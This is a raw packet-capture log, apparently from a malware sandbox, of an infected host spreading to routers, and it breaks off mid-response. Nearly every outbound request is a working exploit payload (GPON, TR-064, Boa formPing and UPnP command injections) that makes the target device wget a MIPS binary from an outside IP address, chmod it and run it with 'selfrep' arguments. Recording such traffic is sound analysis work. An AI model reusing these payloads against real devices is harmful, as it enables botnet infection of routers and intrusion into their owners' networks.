Apr 15, 2024 08:53:17.664424896 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:44.288424015 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.13	33124	197.101.0.167	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.706837893 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:53.207154036 CEST	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Mon, 15 Apr 2024 06:52:53 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.13	59148	213.59.156.252	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.743700981 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.13	51426	34.160.142.8	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:52.799031019 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.13	34604	62.176.26.229	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:53.034888983 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.13	42584	62.29.121.108	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:53.036153078 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.13	33180	38.181.198.110	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:53.047642946 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.13	34494	27.124.12.44	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:53.094866037 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:53.391462088 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:53 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.13	47674	13.76.93.10	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:53.142240047 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:53.481551886 CEST	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.21.2 Date: Mon, 15 Apr 2024 07:20:49 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.21.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.13	46048	104.85.140.142	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:53.470897913 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:53.853600025 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:52:53 GMT Date: Mon, 15 Apr 2024 06:52:53 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 32 38 32 32 63 33 31 26 23 34 36 3b 31 37 31 33 31 36 33 39 37 33 26 23 34 36 3b 61 62 61 63 66 62 62 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 32 38 32 32 63 33 31 26 23 34 36 3b 31 37 31 33 31 36 33 39 37 33 26 23 34 36 3b 61 62 61 63 66 62 62 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.42822c31.1713163973.abacfbb<P>https://errors.edgesuite.net/9.42822c31.1713163973.abacfbb</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.13	49638	2.66.209.130	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:53.498405933 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:54.026326895 CEST	396	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Mon, 15 Apr 2024 06:52:53 GMT X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; frame-ancestors 'self'; img-src 'self' data:; Referrer-Policy: no-referrer

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.13	46106	192.155.187.174	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:53.623615980 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:53.777434111 CEST	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:52:56 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.13	51654	66.158.192.94	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:53.683510065 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:53.896235943 CEST	450	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:52:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.13	33712	165.171.240.234	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:53.683968067 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:53.898710012 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 1485 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 50 52 41 47 4d 41 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 2d 43 41 43 48 45 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 20 20 23 63 6f 6e 74 65 6e 74 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 23 61 61 61 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 31 2e 35 65 6d 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 31 2e 35 65 6d 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 0d 0a 20 20 7d 0d 0a 20 20 68 31 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 65 6d 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 31 39 36 33 39 30 3b 0d 0a 20 20 7d 0d 0a 20 20 62 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 31 39 36 33 39 30 3b 0d 0a 20 20 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 68 69 6f 68 65 61 6c 74 68 2e 63 6f 6d 2f 73 69 74 65 61 73 73 65 74 73 2f 67 6c 6f 62 61 6c 2f 6f 68 5f 6c 6f 67 6f 5f 62 6c 75 65 2d 32 30 30 78 35 32 2e 70 6e 67 22 3e 0d 0a 3c 68 31 3e 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 68 31 3e 